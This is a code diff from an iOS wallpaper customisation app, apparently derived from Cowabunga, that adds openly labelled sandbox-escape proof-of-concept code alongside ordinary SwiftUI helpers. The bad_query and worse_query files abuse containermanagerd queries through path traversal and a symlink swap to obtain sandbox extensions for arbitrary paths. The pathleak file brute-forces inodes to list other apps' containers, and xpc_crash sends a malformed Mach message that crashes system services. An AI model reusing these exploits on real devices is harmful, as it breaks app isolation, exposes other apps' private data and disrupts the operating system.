print("Bundle: \(Bundle.main.bundleIdentifier ?? "?")")
print("App Group: \(SandboxEscape.appGroupIdentifier ?? "nil")")
print("Backend: \(String(describing: SandboxEscape.backend))")
guard SandboxEscape.isAvailable else {
print("self-test: sandbox escape unavailable")
print("=== self-test done ===")
return
}
// 1. Can worse_query grant access to each search root?
for root in SandboxEscape.defaultSearchRoots {
do {
let handle = try SandboxEscape.consume(path: root, create: true)
print("access OK: \(root) (handle \(handle.handle))")
handle.release()
} catch {
print("access FAIL: \(root): \(error.localizedDescription)")
}
}
// 2. Can we find PosterBoard's data container?
let start = Date()
do {
let hash = try SandboxEscape.findPosterBoardHash()
print("PosterBoard hash: \(hash) (scan \(String(format: "%.1f", Date().timeIntervalSince(start)))s)")
let container = SandboxEscape.applicationContainerPath(appHash: hash)
print("PosterBoard container: \(container)")
// 3. Can we open the CollectionsPoster descriptors directory?
let descriptors = SandboxEscape.descriptorsPath(
appHash: hash,
ext: "com.apple.WallpaperKit.CollectionsPoster"
)
do {
let handle = try SandboxEscape.consume(path: descriptors, create: true)
print("descriptors OK: \(descriptors) (handle \(handle.handle))")
handle.release()
} catch {
print("descriptors FAIL: \(descriptors): \(error.localizedDescription)")
}
} catch {
print("PosterBoard detect FAIL: \(error.localizedDescription)")
}
// 4. CarPlay container (phones only).
if UIDevice.current.userInterfaceIdiom == .phone {
do {
let hash = try SandboxEscape.findCarPlayHash()
print("CarPlayWallpaper hash: \(hash)")
} catch {
print("CarPlayWallpaper detect FAIL: \(error.localizedDescription)")
}
}
print("=== self-test done ===")
}
}
+183
View File
@@ -0,0 +1,183 @@
//
// bad_query.c
// bad_query
//
// Created by Taj C on 7/21/26.
//
#include "bad_query.h"
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/stat.h>
#include <xpc/xpc.h>
#include <sys/mount.h>
#include <sys/fsgetpath.h>
typedef void *(*container_query_create_fn)(void);
typedef void (*container_query_set_class_fn)(void *, uint64_t);
typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t);
typedef void (*container_query_set_flags_fn)(void *, uint64_t);
typedef void (*container_query_set_part_fn)(void *, uint64_t);
typedef void (*container_query_set_part_domain_fn)(void *, const char *);
typedef void *(*container_query_get_single_result_fn)(void *);
typedef void (*container_query_free_fn)(void *);
typedef char *(*container_copy_sandbox_token_fn)(void *);
typedef int64_t (*sandbox_extension_consume_fn)(const char *);
typedef int (*sandbox_extension_release_fn)(int64_t);
int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group) {
// Sanity check our path and check if something already exists there
if (!path || path[0] != '/') return -255; // Not an absolute path
if (!create) {
struct stat st;
if (lstat(path, &st) != 0) return -254; // File is missing, so we'll return
}
// Now the fun begins
void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL);
if (!mgr) return -1; // Failed to dlopen
// Resolve functions
container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create");
container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class");
container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers");
container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags");
container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part");
container_query_set_part_domain_fn query_set_part_domain = (container_query_set_part_domain_fn)dlsym(mgr, "container_query_operation_set_part_domain");
container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result");
container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free");
container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token");
sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume");
int64_t handle = -1;
if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_set_part_domain || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) {
dlclose(mgr);
return -1; // Failed to resolve a function
}
// Create query
void *query = query_create();
if (!query) {
dlclose(mgr);
return -2; // Failed to create query
}
// Set up query
// Two routes here, supply an App Group you control (to access other App Groups on iOS 26) or don't, and use MobileGestalt's SystemGroup as a target instead. If targeting iOS 26 and trying to access App Groups, also set is_group to true to use the correct flags.
xpc_object_t identifier;
if (group_identifier == NULL) {
query_set_class(query, 13); // Class 13 (MCMSharedSystemDataContainer) routes to containermanagerd_system
identifier = xpc_string_create("systemgroup.com.apple.mobilegestaltcache");
} else {
query_set_class(query, 7); // Class 7 (MCMSharedDataContainer) routes to containermanagerd
identifier = xpc_string_create(group_identifier);
}
query_set_group_identifiers(query, identifier);
query_set_part(query, 3); // Part determines our starting point, part 3 is Library/Caches
char *part = NULL;
// Oldest trick in the book. Basic path traversal.
if (group_identifier == NULL) {
if (asprintf(&part, "../../../../../../../..%s", path) != -1) {
query_set_part_domain(query, part);
} else {
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return -5; // asprintf failed for some reason
}
} else {
// We have to go one level higher to get to / from an App Group
if (asprintf(&part, "../../../../../../../../..%s", path) != -1) {
query_set_part_domain(query, part);
} else {
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return -5; // Same thing
}
}
// To access App Groups on iOS 26, you have to use different flags, this doesn't apply on 27
if (is_group) {
query_set_flags(query, 0x0000000800000000ULL);
} else {
query_set_flags(query, 0x0000008000000000ULL);
}
// Send our query over
void *result = query_get_single_result(query);
if (!result) {
free(part);
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return -3; // Outside of sandbox
}
char *token = copy_sandbox_token(result);
if (!token) {
free(part);
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return -4; // Kernel refused to issue a sandbox extension
}
// Consume our fresh sandbox extension and clean up
handle = consume_extension(token);
free(token);
free(part);
xpc_release(identifier);
query_free(query);
dlclose(mgr);
return handle;
}
void bad_query_release(int64_t handle) {
if (handle < 0) return;
sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release");
if (release_extension) release_extension(handle);
}
// This still works on 27.0b5
// I'm including it here because it's very useful in the context of this sandbox escape, which can't access parent directories (most of the time)
// This enumerates all directories in a given path, so you can, for example, get all container UUIDs, read their container metadata to get their bundle ID, and derive that entirely on-device without a computer
char *bad_query_list(char *path, int64_t max_inode) {
struct statfs sfs;
// Prefer the target path; fall back to known on-volume roots if sandboxed
if (statfs(path, &sfs) != 0) {
if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) {
return NULL;
}
}
fsid_t fsid = sfs.f_fsid;
size_t cap = 65536;
size_t length = 0;
size_t path_length = strlen(path);
char *out = malloc(cap);
if (!out) return NULL;
out[0] = '\0';
char buf[1200];
for (uint64_t ino = 1; ino <= max_inode; ino++) {
ssize_t n = fsgetpath(buf, sizeof(buf), &fsid, ino);
if (n <= 0) continue;
const char *p = buf;
if (strncmp(p, "/private/var/", 13) == 0) p += 8;
if (strncmp(p, path, path_length) != 0 || p[path_length] != '/') continue;
if (strchr(p + path_length + 1, '/')) continue;
size_t need = strlen(p) + 2;
if (length + need > cap) { cap *= 2; char *t = realloc(out, cap); if (!t) break; out = t; }
length += snprintf(out + length, cap - length, "%s\n", p);
}
return out;
}
+18
View File
@@ -0,0 +1,18 @@
//
// bad_query.h
// bad_query
//
// Created by Taj C on 7/21/26.
//
#ifndef bad_query_h
#define bad_query_h
#include <stdio.h>
#include <stdbool.h>
int64_t bad_query(char* path, bool create, char *group_identifier, bool is_group);
char *bad_query_list(char *path, int64_t max_inode);
void bad_query_release(int64_t handle);
#endif /* bad_query_h */
+33
View File
@@ -0,0 +1,33 @@
//
// pathleak.h
// worse_query
//
// Created by Taj C on 9/2/26.
//
/*
pathleak - The dumbest arbitrary path enumeration.
Copyright (C) 2026 Taj C (forcequit)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#ifndef pathleak_h
#define pathleak_h
#import <Foundation/Foundation.h>
NSArray<NSString *> *pathleak(NSString *filter, uint64_t max_inode);
#endif /* pathleak_h */
+82
View File
@@ -0,0 +1,82 @@
//
// pathleak.m
// worse_query
//
// Created by Taj C on 9/2/26.
//
/*
pathleak - The dumbest arbitrary path enumeration.
Copyright (C) 2026 Taj C (forcequit)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#import <Foundation/Foundation.h>
#include <sys/fsgetpath.h>
#include <sys/mount.h>
// This is just a rewrite of bad_query_list to return an NSString array and run faster
// The way this works is literally just brute-forcing inodes and doing fsgetpath until it gets a matching path, lol.
// Which is still, obviously, dramatically faster than brute-forcing UUIDs.
// It might be possible to derive a sane inode value automagically by just creating a file, doing stat() on it, getting *that* file's inode, then using that for the max_inode count.
NSArray<NSString *> *pathleak(NSString *path, uint64_t max_inode) {
// Sanity checks
if (path.length == 0 || max_inode < 1) return nil;
NSString *dir = path;
while (dir.length > 1 && [dir hasSuffix: @"/"]) { // Trim trailing slash (if present)
dir = [dir substringToIndex: dir.length - 1];
}
// Set everything up
struct statfs sfs;
if (statfs(dir.fileSystemRepresentation, &sfs) != 0) {
// Sandboxed apps may not be allowed to statfs an arbitrary container
// root, but the volume is the same as /private/var.
if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) return nil;
}
fsid_t fsid = sfs.f_fsid;
char prefix[PATH_MAX];
if (![dir getFileSystemRepresentation: prefix maxLength: sizeof(prefix)]) return nil;
size_t prefix_length = strlen(prefix);
if (prefix_length == 1 && prefix[0] == '/') prefix_length = 0;
NSFileManager *files = [NSFileManager defaultManager];
NSMutableArray<NSString *> *result = [NSMutableArray array];
char buffer[PATH_MAX];
// Brute-force inodes to their corresponding paths
// I'd like to make this multithreaded at some point, but I don't think it'll help.
for (uint64_t inode = 1; inode <= max_inode; inode++) {
ssize_t n = fsgetpath(buffer, sizeof(buffer), &fsid, inode);
if (n <= 0) continue;
// fsgetpath can return /private/var/... while callers pass /var/...
const char *path = buffer;
if (strncmp(path, "/private/var/", 13) == 0 && strncmp(prefix, "/var/", 5) == 0) {
path += 8;
}
if (strncmp(path, prefix, prefix_length) != 0) continue;
if (path[prefix_length] != '/') continue;
if (strchr(path + prefix_length + 1, '/')) continue;
NSString *string = [files stringWithFileSystemRepresentation: path length: strlen(path)];
if (string) [result addObject: string];
}
return result;
}
+36
View File
@@ -0,0 +1,36 @@
//
// worse_query.h
// worse_query
//
// Created by Taj C on 8/20/26.
//
/*
worse_query - A sandbox escape PoC for iOS 26 and 27, again.
Copyright (C) 2026 Taj C (forcequit)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#ifndef worse_query_h
#define worse_query_h
#import <Foundation/Foundation.h>
#include <stdint.h>
#include <stdbool.h>
int64_t worse_query(NSString *path, NSString *group, bool alt_flags, bool create_dir);
void worse_query_release(int64_t handle);
#endif /* worse_query_h */
+148
View File
@@ -0,0 +1,148 @@
//
// worse_query.m
// worse_query
//
// Created by Taj C on 8/20/26.
//
/*
worse_query - A sandbox escape PoC for iOS 26 and 27, again.
Copyright (C) 2026 Taj C (forcequit)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#import <Foundation/Foundation.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <xpc/xpc.h>
#include <sys/stat.h>
#include "worse_query.h"
typedef void *(*container_query_create_fn)(void);
typedef void (*container_query_set_class_fn)(void *, uint64_t);
typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t);
typedef void (*container_query_set_flags_fn)(void *, uint64_t);
typedef void (*container_query_set_part_fn)(void *, uint64_t);
typedef void *(*container_query_get_single_result_fn)(void *);
typedef void (*container_query_free_fn)(void *);
typedef char *(*container_copy_sandbox_token_fn)(void *);
typedef int64_t (*sandbox_extension_consume_fn)(const char *);
typedef int (*sandbox_extension_release_fn)(int64_t);
// Remove symlink and recreate Caches directory
static void clean_symlink(NSString *group) {
if (group != NULL) {
NSFileManager *files = [NSFileManager defaultManager];
NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group];
if (groupRoot) {
NSURL *caches = [groupRoot URLByAppendingPathComponent: @"Library/Caches"];
[files removeItemAtURL: caches error: nil];
[files createDirectoryAtURL: caches withIntermediateDirectories: false attributes: nil error: nil];
}
}
return;
}
// So, who's ready for round two?
int64_t worse_query(NSString *target, NSString *group, bool alt_flags, bool create_dir) {
// Check if the target exists
if (!create_dir) {
struct stat st;
if (lstat(target.fileSystemRepresentation, &st) != 0) return -255; // Nothing exists at this path, and create_dir is false
}
// Get the App Group's path
// An App Group identifier you control is required for this
NSFileManager *files = [NSFileManager defaultManager];
NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group];
if (!groupRoot) return -1; // App Group doesn't exist or we can't access it
NSString *caches = [[groupRoot URLByAppendingPathComponent: @"Library/Caches"] path];
// Resolve functions
void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL);
if (!mgr) return -2; // dlopen failed?
container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create");
container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class");
container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers");
container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags");
container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part");
container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result");
container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free");
container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token");
sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume");
if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) {
dlclose(mgr);
return -2; // Failed to resolve a function (unsupported OS)
}
// Create query
void *query = query_create();
if (!query) {
dlclose(mgr);
return -3; // Failed to create query
}
// Set up query
xpc_object_t identifier;
query_set_class(query, 7); // We're only using class 7 here (appGroup), which goes to containermanagerd
identifier = xpc_string_create(group.UTF8String);
query_set_group_identifiers(query, identifier);
query_set_part(query, 3); // The query's part sets our base path, part 3 is Library/Caches
if (alt_flags) {
query_set_flags(query, 0x0000000800000000ULL); // Accessing App Group containers on iOS 26.x needs different flags, for whatever reason
} else {
query_set_flags(query, 0x0000008000000000ULL);
}
// Set up symlink
[files removeItemAtPath: caches error: nil];
if ([files createSymbolicLinkAtPath: caches withDestinationPath: target error: nil] == false) {
dlclose(mgr);
return -4; // Failed to create symlink
}
// Send our query over
void *result = query_get_single_result(query);
if (!result) {
query_free(query);
dlclose(mgr);
clean_symlink(group);
return -5; // Query rejected by containermanagerd
}
char *token = copy_sandbox_token(result);
if (!token) {
query_free(query);
dlclose(mgr);
clean_symlink(group);
return -6; // Kernel refused to issue a sandbox extension
}
// Consume sandbox extension and clean up
int64_t handle = consume_extension(token);
query_free(query);
free(token);
dlclose(mgr);
clean_symlink(group);
return handle;
}
// You should probably call this when you're done
void worse_query_release(int64_t handle) {
if (handle < 0) return;
sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release");
if (release_extension) release_extension(handle);
}
+110
View File
@@ -0,0 +1,110 @@
//
// xpc_crash.c
// Pocket Poster
//
// Ported from Cowabunga / TrollTools helpers.m
// (xpc w00t technique: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html)
//
#include "xpc_crash.h"
#include <string.h>
#include <mach/mach.h>
#include <mach-o/dyld.h>
// bootstrap_look_up is in libsystem_kernel / libxpc but not always in public headers
extern kern_return_t bootstrap_look_up(mach_port_t bp, const char *service_name, mach_port_t *sp);
extern mach_port_t bootstrap_port;
struct xpc_w00t {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_port_descriptor_t client_port;
mach_msg_port_descriptor_t reply_port;
};
static mach_port_t get_send_once(mach_port_t recv) {
mach_port_t so = MACH_PORT_NULL;
mach_msg_type_name_t type = 0;
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
if (err != KERN_SUCCESS) {
return MACH_PORT_NULL;
}
return so;
}
void xpc_crasher(char *service_name) {
mach_port_t client_port = MACH_PORT_NULL;
mach_port_t reply_port = MACH_PORT_NULL;
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if (err != KERN_SUCCESS) {
printf("xpc_crasher: unable to look up %s\n", service_name);
return;
}
if (service_port == MACH_PORT_NULL) {
printf("xpc_crasher: bad service port for %s\n", service_name);
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
if (err != KERN_SUCCESS) {
return;
}
mach_port_t so0 = get_send_once(client_port);
mach_port_t so1 = get_send_once(client_port);
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
return;
}
struct xpc_w00t msg;
memset(&msg.hdr, 0, sizeof(msg));
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service_port;
msg.hdr.msgh_id = 'w00t';
msg.body.msgh_descriptor_count = 2;
msg.client_port.name = client_port;
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.reply_port.name = reply_port;
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("xpc_crasher: w00t send failed for %s: %s\n", service_name, mach_error_string(err));
} else {
printf("xpc_crasher: sent w00t to %s\n", service_name);
}
if (so0 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so0);
if (so1 != MACH_PORT_NULL) mach_port_deallocate(mach_task_self(), so1);
}
void restartBackboard(void) {
xpc_crasher("com.apple.backboard.TouchDeliveryPolicyServer");
}
void restartFrontboard(void) {
// May not kill the calling app on some versions — caller should exit(0) after.
xpc_crasher("com.apple.frontboard.systemappservices");
}
+22
View File
@@ -0,0 +1,22 @@
//
// xpc_crash.h
// Pocket Poster
//
// Userspace respring helpers (from Cowabunga / Project Zero xpc w00t).
//
#ifndef xpc_crash_h
#define xpc_crash_h
#include <stdio.h>
/// Crash an XPC service by name (triggers relaunch of the hosting process).
void xpc_crasher(char *service_name);
/// Respring via crashing com.apple.backboard.TouchDeliveryPolicyServer
void restartBackboard(void);
/// Respring via crashing com.apple.frontboard.systemappservices
void restartFrontboard(void);
#endif /* xpc_crash_h */
-74
View File
@@ -1,74 +0,0 @@
//
// Alert++.swift
// Cowabunga
//
// Created by sourcelocation on 30/01/2023.
//
import UIKit
// credit: sourcelocation & TrollTools
var currentUIAlertController: UIAlertController?
var lastDismissTitle: String?
fileprivate let errorString = NSLocalizedString("Error", comment: "")
fileprivate let okString = NSLocalizedString("OK", comment: "")
fileprivate let cancelString = NSLocalizedString("Cancel", comment: "")
extension UIApplication {
func dismissAlert(animated: Bool) {
DispatchQueue.main.async {
lastDismissTitle = currentUIAlertController?.title
currentUIAlertController?.dismiss(animated: animated)
}
}
func alert(title: String = errorString, body: String, animated: Bool = true, withButton: Bool = true) {
DispatchQueue.main.async {
var body = body
if title == errorString {
// append debug info
let device = UIDevice.current
let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? ""
let appBuild = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? ""
let systemVersion = device.systemVersion
body += "\n\(device.systemName) \(systemVersion), v\(appVersion) build \(appBuild)"
}
currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
if withButton { currentUIAlertController?.addAction(.init(title: okString, style: .cancel)) }
self.present(alert: currentUIAlertController!)
}
}
func confirmAlert(title: String = errorString, body: String, confirmTitle: String = okString, onOK: @escaping () -> (), noCancel: Bool) {
DispatchQueue.main.async {
currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)
if !noCancel {
currentUIAlertController?.addAction(.init(title: cancelString, style: .cancel))
}
currentUIAlertController?.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in
onOK()
}))
self.present(alert: currentUIAlertController!)
}
}
func change(title: String = errorString, body: String) {
DispatchQueue.main.async {
currentUIAlertController?.title = title
currentUIAlertController?.message = body
}
}
func present(alert: UIAlertController) {
if let window = UIApplication.shared.connectedScenes.map({ $0 as? UIWindowScene }).compactMap({ $0 }).first?.windows.first, var topController = window.rootViewController {
while let presentedViewController = topController.presentedViewController, presentedViewController.title != lastDismissTitle {
topController = presentedViewController
}
topController.present(alert, animated: true)
// topController should now be your topmost view controller
}
}
}
@@ -0,0 +1,30 @@
//
// Reorderable.swift
// Pocket Poster
//
// Created by lemin on 6/22/25.
//
import Foundation
protocol Reorderable {
associatedtype OrderElement: Equatable
var orderElement: OrderElement { get }
}
extension Array where Element: Reorderable {
func reorder(by preferredOrder: [Element.OrderElement]) -> [Element] {
sorted {
guard let first = preferredOrder.firstIndex(of: $0.orderElement) else {
return false
}
guard let second = preferredOrder.firstIndex(of: $1.orderElement) else {
return true
}
return first < second
}
}
}
@@ -0,0 +1,14 @@
//
// URLCache+imageCache.swift
// Cowabunga
//
// Created by sourcelocation on 02/02/2023.
//
import CachedAsyncImage
import Foundation
extension URLCache {
static let imageCache = URLCache(memoryCapacity: 512*1000*1000, diskCapacity: 10*1000*1000*1000)
}
@@ -0,0 +1,118 @@
//
// Alert++.swift
// Cowabunga
//
// Created by sourcelocation on 30/01/2023.
//
import UIKit
// credit: sourcelocation & TrollTools
var currentUIAlertController: UIAlertController?
var lastDismissTitle: String?
fileprivate let errorString = NSLocalizedString("Error", comment: "")
fileprivate let okString = NSLocalizedString("OK", comment: "")
fileprivate let cancelString = NSLocalizedString("Cancel", comment: "")
extension UIApplication {
func dismissAlert(animated: Bool, completion: (() -> Void)? = nil) {
DispatchQueue.main.async {
lastDismissTitle = currentUIAlertController?.title
if let alert = currentUIAlertController {
// Always clear pointer first so a follow-up present() won't chain on a dying VC
currentUIAlertController = nil
alert.dismiss(animated: animated) {
completion?()
}
} else {
// Also dismiss any orphaned presented alert
if let top = Self.topViewController(), top is UIAlertController {
top.dismiss(animated: animated) {
completion?()
}
} else {
completion?()
}
}
}
}
func alert(title: String = errorString, body: String, animated: Bool = true, withButton: Bool = true) {
// Dismiss any existing alert first so we never stack a buttonless spinner under a new sheet
dismissAlert(animated: false) {
DispatchQueue.main.async {
var body = body
if title == errorString {
// append debug info
let device = UIDevice.current
let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String ?? ""
let appBuild = Bundle.main.infoDictionary?["CFBundleVersion"] as? String ?? ""
let systemVersion = device.systemVersion
body += "\n\(device.systemName) \(systemVersion), v\(appVersion) build \(appBuild)"
}
let controller = UIAlertController(title: title, message: body, preferredStyle: .alert)
// Always allow dismiss for non-progress alerts; progress uses withButton: false intentionally
if withButton {
controller.addAction(.init(title: okString, style: .cancel))
}
currentUIAlertController = controller
self.present(alert: controller)
}
}
}
func confirmAlert(title: String = errorString, body: String, confirmTitle: String = okString, onOK: @escaping () -> (), noCancel: Bool) {
dismissAlert(animated: false) {
DispatchQueue.main.async {
let controller = UIAlertController(title: title, message: body, preferredStyle: .alert)
if !noCancel {
controller.addAction(.init(title: cancelString, style: .cancel))
}
controller.addAction(.init(title: confirmTitle, style: noCancel ? .cancel : .default, handler: { _ in
onOK()
}))
currentUIAlertController = controller
self.present(alert: controller)
}
}
}
func change(title: String = errorString, body: String) {
DispatchQueue.main.async {
currentUIAlertController?.title = title
currentUIAlertController?.message = body
}
}
/// Top-most VC in the key window (skips being-dismissed alerts when possible).
static func topViewController() -> UIViewController? {
let scenes = UIApplication.shared.connectedScenes.compactMap { $0 as? UIWindowScene }
let window = scenes
.flatMap { $0.windows }
.first { $0.isKeyWindow } ?? scenes.first?.windows.first
guard var top = window?.rootViewController else { return nil }
while let presented = top.presentedViewController {
// Prefer not to stop on a controller that is mid-dismiss
if presented.isBeingDismissed { break }
top = presented
}
return top
}
func present(alert: UIAlertController) {
guard let topController = Self.topViewController() else { return }
// If top is already an alert being shown, replace it
if let existing = topController as? UIAlertController {
existing.dismiss(animated: false) {
Self.topViewController()?.present(alert, animated: true)
}
return
}
topController.present(alert, animated: true)
}
}
@@ -0,0 +1,39 @@
//
// OpaqueButton.swift
// Pocket Poster
//
// Created by lemin on 6/21/25.
//
import SwiftUI
struct OpaqueButton: ButtonStyle {
var color: Color
var textColor: Color
var fullwidth: Bool = false
func makeBody(configuration: Configuration) -> some View {
ZStack {
if fullwidth {
configuration.label
.padding(15)
.frame(maxWidth: .infinity)
.background(color)
.cornerRadius(8)
.foregroundColor(textColor)
} else {
configuration.label
.padding(15)
.background(color)
.cornerRadius(8)
.foregroundColor(textColor)
}
}
}
init(color: Color = .blue, textColor: Color = .primary, fullwidth: Bool = false) {
self.color = color
self.textColor = textColor
self.fullwidth = fullwidth
}
}
@@ -0,0 +1,25 @@
//
// CornerRadius++.swift
// Cowabunga
//
// Created by sourcelocation on 30/01/2023.
//
import SwiftUI
extension View {
func cornerRadius(_ radius: CGFloat, corners: UIRectCorner) -> some View {
clipShape( RoundedCorner(radius: radius, corners: corners) )
}
}
struct RoundedCorner: Shape {
var radius: CGFloat = .infinity
var corners: UIRectCorner = .allCorners
func path(in rect: CGRect) -> Path {
let path = UIBezierPath(roundedRect: rect, byRoundingCorners: corners, cornerRadii: CGSize(width: radius, height: radius))
return Path(path.cgPath)
}
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,169 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 06/04/2022.
//
import SwiftUI
public extension GIFImage {
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
/// into frames and stream them based in the "Delay" key packaged on which frame item.
///
/// - Parameters:
/// - url: URL string of the image. If the string cannot be parsed into URL, this constructor early aborts and returns `nil`
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
/// - placeholder: Image to be used before the source is loaded
/// - errorImage: If the stream fails, this image is used
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
init?(
url: String,
animate: Bool,
loop: Bool,
placeholder: RawImage = RawImage(),
errorImage: RawImage? = nil,
frameRate: FrameRate = .dynamic,
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
) {
self.init(
url: url,
animate: .constant(animate),
loop: .constant(loop),
placeholder: placeholder,
errorImage: errorImage,
frameRate: frameRate,
loopAction: loopAction
)
}
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
/// into frames and stream them based in the "Delay" key packaged on which frame item.
///
/// - Parameters:
/// - url: URL string of the image. If the string cannot be parsed into URL, this constructor early aborts and returns `nil`
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
/// - placeholder: Image to be used before the source is loaded
/// - errorImage: If the stream fails, this image is used
